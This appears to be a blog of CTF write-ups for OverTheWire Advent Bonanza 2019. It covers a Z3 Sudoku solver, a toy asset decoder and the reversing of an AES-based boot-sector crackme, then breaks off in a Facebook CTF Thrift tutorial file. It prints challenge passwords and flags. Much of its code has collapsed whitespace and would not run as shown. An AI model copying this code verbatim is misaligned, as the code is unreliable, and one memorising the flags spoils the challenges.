Another writeup for a fairly simple challenge as a part of OverTheWire’s Advent Bonanza 2019. Day 5 of the Advent Bonanza challenges was a straightforward Sudoku challenge with constraints.
If you then read the numbers clockwise starting from A1 to A9, to I9, to I1 and back to A1, you end up with a number with 32 digits. Enclose that in AOTW{...} to get the flag.
Looks like all I have to do is solve the Sudoku puzzle with the constraints. What I could do is sit down and actually do the puzzle by hand, but I wanted to take this opportunity to show off an awesome tool known as The Z3 Theorem Prover from Microsoft Research. Z3 uses a variety of solvers to solve equations under constraints. This is perfect here as there are already open source sudoku solvers online that use Z3. A quick online search for sudoku solver z3 and the first link come up with this Github project by Github user ppmx. Credits to this user for a very easy to use and easy to understand sudoku solver using Z3! Here’s what their sudoku solver script looks like:
if any(c notin"123456789."for c in puzzle) or len(puzzle) != 81: raise Exception("got invalid puzzle format")
elements = cross("ABCDEFGHI", "123456789") s.values = {e: v for e,v in zip(elements, puzzle)} return s
def__init__(self, values=dict()): # mapping cells -> "123456789." where the dot represents an empty cell # cells = cross product of "ABCDEFGHI" and "123456789" self.values = values
# we define some additional informations that may be used by a solving function: rows, cols = "ABCDEFGHI", "123456789" self.elements = cross(rows, cols)
self.unitlist = [] self.unitlist += [cross(rows, c) for c in cols] self.unitlist += [cross(r, cols) for r in rows] self.unitlist += [cross(rs, cs) for rs in ["ABC", "DEF", "GHI"] for cs in ["123", "456", "789"]]
self.units = {e: [u for u in self.unitlist if e in u] for e in self.elements}
defis_solved(self): # assure that every cell holds a single value between 1 and 9: ifnot all(k in"123456789"for k in self.values.values()): returnFalse
# assure that every cell of every unit is unique in the proper unit: unitsolved = lambda u: set([self.values[e] for e in u]) == set("123456789") return all(unitsolved(u) for u in self.unitlist)
def__str__(self): lines, elements = [], cross("ABCDEFGHI", "123456789")
print("[+] Puzzle:", ''.join(self.values[e] for e in elements))
for index_row, row in enumerate("ABCDEFGHI"): if index_row % 3 == 0: lines.append("+–––––––––+–––––––––+–––––––––+")
line = '' for index_col, col in enumerate("123456789"): line += "{1} {0} ".format(self.values[row + col], '|'if index_col % 3 == 0else'') lines.append(line + '|')
defZ3Solving(sudoku): from z3 import Solver, Int, Or, Distinct, sat
elements = cross("ABCDEFGHI", "123456789") symbols = {e: Int(e) for e in elements}
# first we build a solver with the general constraints for sudoku puzzles: s = Solver()
# assure that every cell holds a value of [1,9] for symbol in symbols.values(): s.add(Or([symbol == i for i in range(1, 10)]))
# assure that every row covers every value: for row in"ABCDEFGHI": s.add(Distinct([symbols[row + col] for col in"123456789"]))
# assure that every column covers every value: for col in"123456789": s.add(Distinct([symbols[row + col] for row in"ABCDEFGHI"]))
# assure that every block covers every value: for i in range(3): for j in range(3): s.add(Distinct([symbols["ABCDEFGHI"[m + i * 3] + "123456789"[n + j * 3]] for m in range(3) for n in range(3)]))
# now we put the assumptions of the given puzzle into the solver: for elem, value in sudoku.values.items(): if value in"123456789": s.add(symbols[elem] == value)
print("[+] trying to solve it with z3") s_solved = Z3Solving(s) print("[+] it is solved:", s_solved.is_solved()) print(s_solved)
if __name__ == "__main__": from sys import argv
if len(argv) != 2: print("[!] we are using some test puzzle due to missing argument") main("4.....8.5.3..........7......2.....6.....8.4......1.......6.3.7.5..2.....1.4......") else: main(argv[1])
I am far from an advanced user of Z3 but the above script is straightforward enough to understand. This guide by Github user ericpony is also a great place to start to understand how to use Z3 in Python.
Z3 needs to know what kind of values it needs to solve for. We also give symbols for those values, basically like variables.
This happens on line 79-80 where values A1-A9, B1-B9, etc. are added as symbols.
Line 83 initializes the Z3 solver.
Line 77 shows imports from Z3 that can be used to define some of the relationships between variables, like Or and Distinct.
Constraints are added to the solver object and then Solver.check() is called to tell Z3 to try to solve for all the constraints given.
To input my own constraints into the script, I had to understand what the script was doing first. The function Z3Solving is where all the magic happens.
Lines 86-87 ensure that all values in the solution are between 1 and 9 inclusive.
Lines 90-100 ensure that every row, column, and 3x3 block include all values 1 to 9 inclusive and are distinct.
Lines 103-105 ensure that the starting board that is given to the program is satisfied.
For solving this problem, it seems like it would be adequate to place my custom constraints right after line 100.
To make it easier for myself, I replaced the string on line 130 with the starting sudoku problem given to me in the challenge. I saved the script as solve.py and ran it just to make sure I was able to get a solution:
Looks like it works! Now all that is left to do is add all of the constraints from the challenge. What was also nice is that the script from ppmx and the challenge refer to each individual cell of the sudoku board in the same manner. For example, I5 on the sudoku board in the challenge is referenced by symbols['I5'] in the script. Solving this challenge was as easy as adding my own constraints after line 100. I actually wrote a script to take in the constraints and output the following Python code cause I got too lazy to type it all out myself.
Another writeup for a challenge imitating game asset reverse engineering as a part of OverTheWire’s Advent Bonanza 2019. Day 14 of the Advent Bonanza challenges was given as follows:
tiny runes Points: 137 Solves: 106 One of Santa’s Little Helpers received an unusual Christmas wish, a copy of the yet to be released Deus Hex game. All they managed to find were fragments from the dialogue system. Can you decode the last one? Download: d4037209017d4730edc598fe62e6b17f5573ee259b6ad7c8723bac962cf0b328-tiny-runes.tar.gz
Downloading and extracting the file gave the following file structure:
1 2 3 4 5 6 7 8 9 10 11
$ tar -xvzf d4037209017d4730edc598fe62e6b17f5573ee259b6ad7c8723bac962cf0b328-tiny-runes.tar.gz x lines1.bin x lines1.png x lines1.txt x lines2.bin x lines2.png x lines2.txt x lines3.bin x lines3.png x lines3.txt x lines4.bin
The general idea with this challenge seems to be that the .bin files are the raw game assets. The .png and the .txt files are the decoded assets, respectively. The flag was contained in the decoding of lines4.bin which has not yet been decoded.
To start, I took a look at each of the accompanying .png and .txt files.
lines1.txt
1 2
JC Denton: "Paul... I... I..." JC Denton: "I thought you were a GEP gun."
lines2.txt
1 2 3 4
Paul Denton: "We want to power down the whole system." Lobster: "That will be your butt." Paul Denton: "Yes sir!" Lobster: "Get PILLS against my orders! Get moving!"
lines3.txt
1 2
Agent Orange: "I do not move out of the way." JC Denton: "Forgive my interruption, my vision is augmented."
Sure enough, the files match up in their text. I then took a look at the .bin files:
It looks like the .bin files have a .png embedded in them. What is interesting is that all four provided .bin files have the exact same .png embedded in them at the same location. This .png looks like:
Given that the image is 64 x 96 pixels and the image shows rows of 8 characters and columns of 12 characters, I could only assume that there was some sort of indexing scheme into this image which would then build the resulting asset. The key would be figuring out how this indexing is done. I ran hexdump -C on each .bin file and output this to individual files lines1.hex, lines2.hex, and lines3.hex and ran sdiff -s to compare them in pairs:
Interestingly, it looks like the files only differ from bytes 0x17-0x1b and then from bytes 0x32c and onwards. Looking more closely, I saw that there are a lot of bytes in the range of 0x00 and 0x0b, inclusive. If I treat the .png file found in all of the .bin files as a grid, the columns can be indexed by 0x00 to 0x07 (8 columns) and the rows can be indexed by 0x00 to 0x0b (12 rows). Starting at byte 0x32d of file lines2.bin, the byte pairs are (0x00, 0x04), (0x03, 0x0b), (0x07, 0x0a). Matching these to characters in the reference .png, I get the letters Pau which matches the first 3 characters of lines2.txt!
When looking at the ASCII of the .bin files, I saw that preceding each line of text were the ASCII characters LiNe, which must have denoted a new line of the text.
With all of that knowledge, I wrote the following script to extract out the bytes after byte 0x325 in the file and perform the decoding:
res = [] lines = open('lines4.bin', 'rb').read()[0x325:]
spl = lines.split('LiNe')
for line in spl: if line: working_set = line[4:] constructed_line = '' for i in range(0, len(working_set), 2): constructed_line += data[ord(working_set[i+1])][ord(working_set[i])] constructed_line += '\n' res += constructed_line
print''.join(res)
Running the above script outputs the flag:
1 2 3
$ python solve.py Jock: "Oh my God! JC! A flag!" JC Denton: "A flag! AOTW{wh4t_4_r0tt3n_fi13_f0rm4t}"
A fun challenge which is a bit of a toy version of what one would find when reversing actual game asset files!
Here we go again. It’s been a while since I’ve posted a writeup (or done any CTFs for that matter) due to adulting responsibilities. I didn’t get to participate too much in last year’sOverTheWire Advent Bonanza which turned out to be quality. I have a bit more time this year so I figured I should try some of the challenges. OverTheWire’s Advent Bonanza 2019 Challenge Zero was released prior to Dec 1. I’m not sure what day they released it but I accessed it on Nov 30. Let’s jump in.
Accessing this site in Google Chrome gives the following:
Not much to go off of here. Let’s take a look at the source via Inspect:
Nothing all too exciting except for perhaps the “Hint” and the little bit that looks like:
1
<!-- browser detected: chrome -->
I might need that “Hint” bit later, but for now, the fact that it has a little comment saying what browser was detected, the server probably behaves differently based on my User-Agent string. Also, the text says Fox! Fox! Burning bright! which sounds like it is alluding to Firefox. So let’s try accessing the page via Firefox:
Look at that! Different output when I use Firefox. For completeness, I also inspected via Firefox:
Nothing new buried in the source code there. However, the first line of the page (Did you know: Plain text goes best with a text browser.) is probably telling me to curl the page. So I went ahead and did that…
Now this is definitely the right path. At first glance, it looks like the characters follow the base64 character set. I did an output redirection to a file:
1
curl -X GET https://advent2019.overthewire.org/challenge-zero > output
It also looks like the text has terminal colorization so if I open the output in Sublime Text, it looks like:
Not very text-processing-friendly. So let’s run this through sed and get an uncolorized version:
1
cat output | sed $'s,\x1b\\[[0-9;]*[a-zA-Z],,g' > uncolor
Now our uncolorized version can be processed easily in Python. I wrote a quick line in Python to replace all of the unwanted characters and print out the text:
begin 644 boot.bin M^C'`CMB.P([0O`!\0`^B#R#`@^#[@\@"#R+`#R#@#0`&#R+@OO9\Z+X`9@^Z MX1ES3;X8?>BQ`+\`?C'`S18\#70:/`AU#X'_`'Y^[KY&?>B6`$_KY:JT#LT0 MZ]Z!_Q!^=<\/*`;P?0\H'@!^Z#0`9@_O'N!]9@\X%]MT"NNSOB5]Z&0`Z_Z^ M4'T/*`8`?@\H'.@/``\I'(/&$('^X'UUZ>FM`&8/[])F#^_8N^4VM'/!Z`?V M\X@FOGQF#SK?R$5F#W#)_P_&T!!F#^_"@#;'?)QX\68/[\$X_'0'9@\XW-CK MSF8/.-W8P[0.K#1"=`8QV\T0Z_/#3T@5)V(W,B4P(R8G)F(D,"TO8A`!=F(V M*BLQ8CLG(S!C0D]($B,Q,34M,"9X8D)/2`$M+R=B(",A*6(U*S8J8B-B+RTF M)S`L8@$2%V)X$D)*8DI"D)"0D)"0T(/KBQ^!OZ,P,!19EYHU$!Q"0^0^+?8= MLGYZ',K_"4>'+N_UK&=A-F;*%C\%\==(/3KT`Z,2Z9H#""'!!8^R$@7;]B-X M,!IB!^0G^\"KVJA;B3LZ[UWH*Z&N[\1C>BI>!*:]<K/H%+3,";[B@>;E72IV M>$Z%?*Q4`F_Q'B"KDWX.2B^Y@Z8F-2$8/0MDV'.]]_X:@#91.)"@-!%M,%Y2 15&UY@+FE"I<D#2W\-@V55:H` ` end
This looks to be Uuencoding. Luckily, Python handles this elegantly as well:
1 2 3 4
uudecoded_text = uuencoded_text.decode('uu')
with open('boot.bin', 'wb') as f: f.write(uudecoded_text)
Now I can check what this file is…
1 2 3 4
$ ls -l boot.bin -rw-r--r-- 1 wellingtonlee staff 512 Nov 30 00:57 boot.bin $ file boot.bin boot.bin: DOS/MBR boot sector
After doing quite a bit of research into DOS/MBR boot sector, basically I figured this was a reversing challenge as the code starting at the beginning of the 512 byte file is executed and set at offset 0x7c00. A good first step is to disassemble the binary portions with objdump. Some special flags need to be used, however. The boot sector code uses 16 bit addressing and also 16 bit data segments so I had to specify this manually.
00000000 <.data>: 0: fa cli 1: 31 c0 xor ax,ax 3: 8e d8 mov ds,ax 5: 8e c0 mov es,ax 7: 8e d0 mov ss,ax 9: bc 00 7c mov sp,0x7c00 c: 40 inc ax d: 0f a2 cpuid f: 0f 20 c0 mov eax,cr0 12: 83 e0 fb and ax,0xfffb 15: 83 c8 02 or ax,0x2 18: 0f 22 c0 mov cr0,eax 1b: 0f 20 e0 mov eax,cr4 1e: 0d 00 06 or ax,0x600 21: 0f 22 e0 mov cr4,eax 24: be f6 7c mov si,0x7cf6 27: e8 be 00 call 0xe8 2a: 66 0f ba e1 19 bt ecx,0x19 2f: 73 4d jae 0x7e 31: be 18 7d mov si,0x7d18 34: e8 b1 00 call 0xe8 37: bf 00 7e mov di,0x7e00 3a: 31 c0 xor ax,ax 3c: cd 16 int 0x16 3e: 3c 0d cmp al,0xd 40: 74 1a je 0x5c 42: 3c 08 cmp al,0x8 44: 75 0f jne 0x55 46: 81 ff 00 7e cmp di,0x7e00 4a: 7e ee jle 0x3a 4c: be 46 7d mov si,0x7d46 4f: e8 96 00 call 0xe8 52: 4f dec di 53: eb e5 jmp 0x3a 55: aa stos BYTE PTR es:[di],al 56: b4 0e mov ah,0xe 58: cd 10 int 0x10 5a: eb de jmp 0x3a 5c: 81 ff 10 7e cmp di,0x7e10 60: 75 cf jne 0x31 62: 0f 28 06 f0 7d movaps xmm0,XMMWORD PTR ds:0x7df0 67: 0f 28 1e 00 7e movaps xmm3,XMMWORD PTR ds:0x7e00 6c: e8 34 00 call 0xa3 6f: 66 0f ef 1e e0 7d pxor xmm3,XMMWORD PTR ds:0x7de0 75: 66 0f 38 17 db ptest xmm3,xmm3 7a: 74 0a je 0x86 7c: eb b3 jmp 0x31 7e: be 25 7d mov si,0x7d25 81: e8 64 00 call 0xe8 84: eb fe jmp 0x84 86: be 50 7d mov si,0x7d50 89: 0f 28 06 00 7e movaps xmm0,XMMWORD PTR ds:0x7e00 8e: 0f 28 1c movaps xmm3,XMMWORD PTR [si] 91: e8 0f 00 call 0xa3 94: 0f 29 1c movaps XMMWORD PTR [si],xmm3 97: 83 c6 10 add si,0x10 9a: 81 fe e0 7d cmp si,0x7de0 9e: 75 e9 jne 0x89 a0: e9 ad 00 jmp 0x150 a3: 66 0f ef d2 pxor xmm2,xmm2 a7: 66 0f ef d8 pxor xmm3,xmm0 ab: bb e5 36 mov bx,0x36e5 ae: b4 73 mov ah,0x73 b0: c1 e8 07 shr ax,0x7 b3: f6 f3 div bl b5: 88 26 be 7c mov BYTE PTR ds:0x7cbe,ah b9: 66 0f 3a df c8 45 aeskeygenassist xmm1,xmm0,0x45 bf: 66 0f 70 c9 ff pshufd xmm1,xmm1,0xff c4: 0f c6 d0 10 shufps xmm2,xmm0,0x10 c8: 66 0f ef c2 pxor xmm0,xmm2 cc: 80 36 c7 7c 9c xor BYTE PTR ds:0x7cc7,0x9c d1: 78 f1 js 0xc4 d3: 66 0f ef c1 pxor xmm0,xmm1 d7: 38 fc cmp ah,bh d9: 74 07 je 0xe2 db: 66 0f 38 dc d8 aesenc xmm3,xmm0 e0: eb ce jmp 0xb0 e2: 66 0f 38 dd d8 aesenclast xmm3,xmm0 e7: c3 ret e8: b4 0e mov ah,0xe ea: ac lods al,BYTE PTR ds:[si] eb: 34 42 xor al,0x42 ed: 74 06 je 0xf5 ef: 31 db xor bx,bx f1: cd 10 int 0x10 f3: eb f3 jmp 0xe8 f5: c3 ret f6: 4f dec di f7: 48 dec ax f8: 15 27 62 adc ax,0x6227 fb: 37 aaa fc: 32 25 xor ah,BYTE PTR [di] fe: 30 23 xor BYTE PTR [bp+di],ah 100: 26 27 es daa 102: 26 62 24 bound sp,DWORD PTR es:[si] 105: 30 2d xor BYTE PTR [di],ch 107: 2f das 108: 62 10 bound dx,DWORD PTR [bx+si] 10a: 01 76 62 add WORD PTR [bp+0x62],si 10d: 36 2a 2b sub ch,BYTE PTR ss:[bp+di] 110: 31 62 3b xor WORD PTR [bp+si+0x3b],sp 113: 27 daa 114: 23 30 and si,WORD PTR [bx+si] 116: 63 42 4f arpl WORD PTR [bp+si+0x4f],ax 119: 48 dec ax 11a: 12 23 adc ah,BYTE PTR [bp+di] 11c: 31 31 xor WORD PTR [bx+di],si 11e: 35 2d 30 xor ax,0x302d 121: 26 78 62 es js 0x186 124: 42 inc dx 125: 4f dec di 126: 48 dec ax 127: 01 2d add WORD PTR [di],bp 129: 2f das 12a: 27 daa 12b: 62 20 bound sp,DWORD PTR [bx+si] 12d: 23 21 and sp,WORD PTR [bx+di] 12f: 29 62 35 sub WORD PTR [bp+si+0x35],sp 132: 2b 36 2a 62 sub si,WORD PTR ds:0x622a 136: 23 62 2f and sp,WORD PTR [bp+si+0x2f] 139: 2d 26 27 sub ax,0x2726 13c: 30 2c xor BYTE PTR [si],ch 13e: 62 01 bound ax,DWORD PTR [bx+di] 140: 12 17 adc dl,BYTE PTR [bx] 142: 62 78 12 bound di,DWORD PTR [bx+si+0x12] 145: 42 inc dx 146: 4a dec dx 147: 62 4a 42 bound cx,DWORD PTR [bp+si+0x42] 14a: 90 nop 14b: 90 nop 14c: 90 nop 14d: 90 nop 14e: 90 nop 14f: 90 nop 150: d0 83 eb 8b rol BYTE PTR [bp+di-0x7415],1 154: 1f pop ds 155: 81 bf a3 30 30 14 cmp WORD PTR [bx+0x30a3],0x1430 15b: 59 pop cx 15c: 97 xchg di,ax 15d: 9a 35 10 1c 42 call 0x421c:0x1035 162: 43 inc bx 163: e4 3e in al,0x3e 165: 2d f6 1d sub ax,0x1df6 168: b2 7e mov dl,0x7e 16a: 7a 1c jp 0x188 16c: ca ff 09 retf 0x9ff 16f: 47 inc di 170: 87 2e ef f5 xchg WORD PTR ds:0xf5ef,bp 174: ac lods al,BYTE PTR ds:[si] 175: 67 61 addr32 popa 177: 36 66 ca 16 3f ss retf 0x3f16 17c: 05 f1 d7 add ax,0xd7f1 17f: 48 dec ax 180: 3d 3a f4 cmp ax,0xf43a 183: 03 a3 12 e9 add sp,WORD PTR [bp+di-0x16ee] 187: 9a 03 08 21 c1 call 0xc121:0x803 18c: 05 8f b2 add ax,0xb28f 18f: 12 05 adc al,BYTE PTR [di] 191: db f6 fcomi st,st(6) 193: 23 78 30 and di,WORD PTR [bx+si+0x30] 196: 1a 62 07 sbb ah,BYTE PTR [bp+si+0x7] 199: e4 27 in al,0x27 19b: fb sti 19c: c0 ab da a8 5b shr BYTE PTR [bp+di-0x5726],0x5b 1a1: 89 3b mov WORD PTR [bp+di],di 1a3: 3a ef cmp ch,bh 1a5: 5d pop bp 1a6: e8 2b a1 call 0xa2d4 1a9: ae scas al,BYTE PTR es:[di] 1aa: ef out dx,ax 1ab: c4 63 7a les sp,DWORD PTR [bp+di+0x7a] 1ae: 2a 5e 04 sub bl,BYTE PTR [bp+0x4] 1b1: a6 cmps BYTE PTR ds:[si],BYTE PTR es:[di] 1b2: bd 72 b3 mov bp,0xb372 1b5: e8 14 b4 call 0xb5cc 1b8: cc int3 1b9: 09 be e2 81 or WORD PTR [bp-0x7e1e],di 1bd: e6 e5 out 0xe5,al 1bf: 5d pop bp 1c0: 2a 76 78 sub dh,BYTE PTR [bp+0x78] 1c3: 4e dec si 1c4: 85 7c ac test WORD PTR [si-0x54],di 1c7: 54 push sp 1c8: 02 6f f1 add ch,BYTE PTR [bx-0xf] 1cb: 1e push ds 1cc: 20 ab 93 7e and BYTE PTR [bp+di+0x7e93],ch 1d0: 0e push cs 1d1: 4a dec dx 1d2: 2f das 1d3: b9 83 a6 mov cx,0xa683 1d6: 26 35 21 18 es xor ax,0x1821 1da: 3d 0b 64 cmp ax,0x640b 1dd: d8 73 bd fdiv DWORD PTR [bp+di-0x43] 1e0: f7 fe idiv si 1e2: 1a 80 36 51 sbb al,BYTE PTR [bx+si+0x5136] 1e6: 38 90 a0 34 cmp BYTE PTR [bx+si+0x34a0],dl 1ea: 11 6d 30 adc WORD PTR [di+0x30],bp 1ed: 5e pop si 1ee: 52 push dx 1ef: 54 push sp 1f0: 6d ins WORD PTR es:[di],dx 1f1: 79 80 jns 0x173 1f3: b9 a5 0a mov cx,0xaa5 1f6: 97 xchg di,ax 1f7: 24 0d and al,0xd 1f9: 2d fc 36 sub ax,0x36fc 1fc: 0d 95 55 or ax,0x5595 1ff: aa stos BYTE PTR es:[di],al
It’s important to note that not the entirety of this disassembly is actual code. I was sure that some of this was actually data. Up until about 0xf6, the instructions look more-or-less normal (by normal, I mean similar to other assembly code after my many, many hours of staring at assembly). Assembly code usually has a typical flow. By around 0xf6, the assembly looks a bit wonky. Later on, I found out that my assumption was correct - 0xf6 and beyond is data segments.
It always helps to be able to run a binary and see what it does. To do debugging on this binary, I used the Bochs IA32 Emulator. Installing the emulator with the dlxlinux demo gave me a project to go off of. After downloading and installing the Bochs Emulator, I followed instructions from The Starman’s page on “How to DEBUG System Code using The Bochs Emulator on a Windows PC”. I used the default bochsrc.bxrc file given with the dlxlinux demo but had to figure out how to use the custom DOS/MBR bootsector from the challenge. To do that, I took the hd10meg.img disk from the demo and overwrote the first 512 bytes with the boot.bin to create a final.img. This is likely fine, as I was pretty certain that the boot sector code I needed to run/debug wasn’t affected by the rest of the disk. It took me many hours of fiddling around and learning Bochs before I could figure all of this out.
Bochs has an option which allows you to specify what CPU model it uses. The likely scenario is that the default CPU that Bochs uses does not have SSE support for the xmm (and possibly the aes?) instructions I saw in the disassembly. I found a page from the Bochs User Manual which specifies the CPU models I can choose in the emulator. The default that Bochs uses was the bx_generic which does not seem to have SSE support. After trying several of them, I found that corei7_sandy_bridge_2600k worked fine. I modified the cpu line to the bochsrc.bxrc file in the appropriate location:
Now running the emulator gives a different output:
It looks to be a simple crackme? Before I tried to find the solution, something bugged me. There must be code grabbing the text for the program. Where were the texts “We upgraded from RC4 this year!” and “Password: “ coming from? I had a hunch that this text might have been encoded in the data portions in 0xf6 and onwards. Analyzing the assembly a bit more, I saw that there are several calls to 0xe8, which does some xor with 0x42 or B. Isolating these calls and the instructions immediately before them give:
It’s important to remember that the offset of the program is 0x7c00 for DOS/MBR bootsectors (Remember the hint from opening the webpage in Google Chrome? Hint: $ break *0x7c00). Since the entire boot.bin is only 512 bytes, I opted to just xor the entire thing with 0x42 to get the output and hexdump it:
00000000 b8 73 82 cc 9a cc 82 cc 92 fe 42 3e 02 4d e0 4d |.s........B>.M.M| 00000010 62 82 c1 a2 b9 c1 8a 40 4d 60 82 4d 62 a2 4f 42 |b......@M`.Mb.OB| 00000020 44 4d 60 a2 fc b4 3e aa fc 42 24 4d f8 a3 5b 31 |DM`...>..B$M..[1| 00000030 0f fc 5a 3f aa f3 42 fd 42 3c 73 82 8f 54 7e 4f |..Z?..B.B<s..T~O| 00000040 36 58 7e 4a 37 4d c3 bd 42 3c 3c ac fc 04 3f aa |6X~J7M..B<<...?.| 00000050 d4 42 0d a9 a7 e8 f6 4c 8f 52 a9 9c c3 bd 52 3c |.B.....L.R....R<| 00000060 37 8d 4d 6a 44 b2 3f 4d 6a 5c 42 3c aa 76 42 24 |7.MjD.?Mj\B<.vB$| 00000070 4d ad 5c a2 3f 24 4d 7a 55 99 36 48 a9 f1 fc 67 |M.\.?$MzU.6H...g| 00000080 3f aa 26 42 a9 bc fc 12 3f 4d 6a 44 42 3c 4d 6a |?.&B....?MjDB<Mj| 00000090 5e aa 4d 42 4d 6b 5e c1 84 52 c3 bc a2 3f 37 ab |^.MBMk^..R...?7.| 000000a0 ab ef 42 24 4d ad 90 24 4d ad 9a f9 a7 74 f6 31 |..B$M..$M....t.1| 000000b0 83 aa 45 b4 b1 ca 64 fc 3e 24 4d 78 9d 8a 07 24 |..E...d.>$Mx...$| 000000c0 4d 32 8b bd 4d 84 92 52 24 4d ad 80 c2 74 85 3e |M2..M..R$M...t.>| 000000d0 de 3a b3 24 4d ad 83 7a be 36 45 24 4d 7a 9e 9a |.:.$M..z.6E$Mz..| 000000e0 a9 8c 24 4d 7a 9f 9a 81 f6 4c ee 76 00 36 44 73 |..$Mz....L.v.6Ds| 000000f0 99 8f 52 a9 b1 81 0d 0a 57 65 20 75 70 67 72 61 |..R.....We upgra| 00000100 64 65 64 20 66 72 6f 6d 20 52 43 34 20 74 68 69 |ded from RC4 thi| 00000110 73 20 79 65 61 72 21 00 0d 0a 50 61 73 73 77 6f |s year!...Passwo| 00000120 72 64 3a 20 00 0d 0a 43 6f 6d 65 20 62 61 63 6b |rd: ...Come back| 00000130 20 77 69 74 68 20 61 20 6d 6f 64 65 72 6e 20 43 | with a modern C| 00000140 50 55 20 3a 50 00 08 20 08 00 d2 d2 d2 d2 d2 d2 |PU :P.. ........| 00000150 92 c1 a9 c9 5d c3 fd e1 72 72 56 1b d5 d8 77 52 |....]...rrV...wR| 00000160 5e 00 01 a6 7c 6f b4 5f f0 3c 38 5e 88 bd 4b 05 |^...|o._.<8^..K.| 00000170 c5 6c ad b7 ee 25 23 74 24 88 54 7d 47 b3 95 0a |.l...%#t$.T}G...| 00000180 7f 78 b6 41 e1 50 ab d8 41 4a 63 83 47 cd f0 50 |.x.A.P..AJc.G..P| 00000190 47 99 b4 61 3a 72 58 20 45 a6 65 b9 82 e9 98 ea |G..a:rX E.e.....| 000001a0 19 cb 79 78 ad 1f aa 69 e3 ec ad 86 21 38 68 1c |..yx...i....!8h.| 000001b0 46 e4 ff 30 f1 aa 56 f6 8e 4b fc a0 c3 a4 a7 1f |F..0..V..K......| 000001c0 68 34 3a 0c c7 3e ee 16 40 2d b3 5c 62 e9 d1 3c |h4:..>..@-.\b..<| 000001d0 4c 08 6d fb c1 e4 64 77 63 5a 7f 49 26 9a 31 ff |L.m...dwcZ.I&.1.| 000001e0 b5 bc 58 c2 74 13 7a d2 e2 76 53 2f 72 1c 10 16 |..X.t.z..vS/r...| 000001f0 2f 3b c2 fb e7 48 d5 66 4f 6f be 74 4f d7 17 e8 |/;...H.fOo.tO...|
Here, it’s now easy to see that 0x7cf6 refers to the text We upgraded from RC4 this year!. 0x7d18 refers to the text Password:. 0x7d25 refers to the text Come back with a modern CPU :P. At the moment, the text referred to by 0x7d46 is a bit of an unknown.
After a bit more debugging, I found a length check for my input:
1
5c: 81 ff 10 7e cmp di,0x7f10
The above line of assembly always checks to see if the length of my input is 0x10 or 16 bytes long.
After many more hours of debugging the code with many breakpoints, I figured out that the routine is simply doing an AES ECB encryption with the 16 bytes at 0x7df0 as the key:
1
0x7df0: 6d 79 80 b9 a5 0a 97 24 0d 2d fc 36 0d 95 55 aa
And comparing the output against the 16 bytes at 0x7de0:
1
0x7de0: f7 fe 1a 80 36 51 38 90 a0 34 11 6d 30 5e 52 54
I wrote some quick Python code to decrypt the resulting comparison:
See all the text that comes up after putting in the right password? This has to have been stored somewhere in the binary. After a bit more reversing, the data starting at 0x7d50 is AES encrypted with the password I input MiLiT4RyGr4d3MbR and then xor’d with 0x42. The code reuses the snippet of assembly from AES encrypting for this portion. I assume that this was possibly to keep the binary under 512 bytes (and fitting within a DOS/MBR bootsector). I wrote a small Python snippet to output this as well:
1 2 3 4 5
from Crypto.Util import strxor from Crypto.Cipher import AES aes = AES.new('MiLiT4RyGr4d3MbR', AES.MODE_ECB) to_decrypt = open('boot.bin', 'rb').read()[0x150:] # Offset of 0x7d50 print strxor.strxor_c(aes.encrypt(to_decrypt), 0x42) # Note that we AES encrypt here, instead of decrypt
The resulting output from running the above after omitting unprintable characters:
1 2 3 4 5 6
Wow, 512 bytes is a lot of space. Enjoy the rest of AOTW!
Anyway, here's your flag: AOTW{31oct__1s__25dec}
- Retr0idBBBBBB
The B‘s at the end were most likely hex 0x0 being xor’d with the 0x42 (since 0x42 is B in ASCII). The actual data that is xor’d with 0x42 starts at 0x7d58, despite the AES encryption starting at 0x7d50.
Pretty fun for a zero-th challenge! I’m excited to see what other challenges there are in the advent. I’m writing these writeups as I solve them but these writeups won’t be published until after the event (which I believe is after Dec 26, 2019, 12:00UTC). There will most likely not be a writeup for every challenge, since I’m sure I can’t solve all of them. Until next time!
Facebook CTF 2019’s homework_assignment_1337 was an interesting challenge which forced me to learn Apache Thrift, a language agnostic RPC client-server sort of language. The actual explanation from the Apache Thrift website is:
The Apache Thrift software framework, for scalable cross-language services development, combines a software stack with a code generation engine to build services that work efficiently and seamlessly between C++, Java, Python, PHP, Ruby, Erlang, Perl, Haskell, C#, Cocoa, JavaScript, Node.js, Smalltalk, OCaml and Delphi and other languages.
This challenge forced me to learn a bit of it, so here we go.
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */
# Thrift Tutorial # # This file aims to teach you how to use Thrift, in a .thrift file. Neato. The # first thing to notice is that .thrift files support standard shell comments. # This lets you make your thrift file executable and include your Thrift build # step on the top line. And you can place comments like this anywhere you like. # # Before running this file, you will need to have installed the thrift compiler # into /usr/local/bin.
/** * The first thing to know about are types. The available types in Thrift are: * * bool Boolean, one byte * i8 (byte) Signed 8-bit integer * i16 Signed 16-bit integer * i32 Signed 32-bit integer * i64 Signed 64-bit integer * double 64-bit floating point value * string String * binary Blob (byte array) * map<t1,t2> Map from one type to another * list<t1> Ordered list of one type * set<t1> Set of unique elements of one type * * Did you also notice that Thrift supports C style comments? */
// Just in case you were wondering... yes. We support simple C comments too.
/** * You can define enums, which are just 32 bit integers. Values are optional * and start at 1 if not supplied, C style again. */ enum Proto { TCP = 1, UNIX = 2 }
/** * Structs are the basic complex data structures. They are comprised of fields * which each have an integer identifier, a type, a symbolic name, and an * optional default value. * * Fields can be declared "optional", which ensures they will not be included * in the serialized output if they aren't set. Note that this requires some * manual management in some languages. */ struct Pong { 1: i32 code 2: binary data }
struct Ping { 1: Proto proto 2: string host 3: binary data }
struct Debug { 1: i32 dummy }
struct PongDebug { 1: list<Ping> pings }
/** * Ahh, now onto the cool part, defining a service. Services just need a name * and can optionally inherit from another service using the extends keyword. */ service PingBot { /** * A method definition looks like C code. It has a return type, arguments, * and optionally a list of exceptions that it may throw. Note that argument * lists and exception lists are specified using the exact same syntax as * field lists in struct or exception definitions. */
// As part of your homework you should call this method. // Ping the server I set up by correctly setting the proto and host fields // within the Ping structure. Pong ping(1:Ping input),
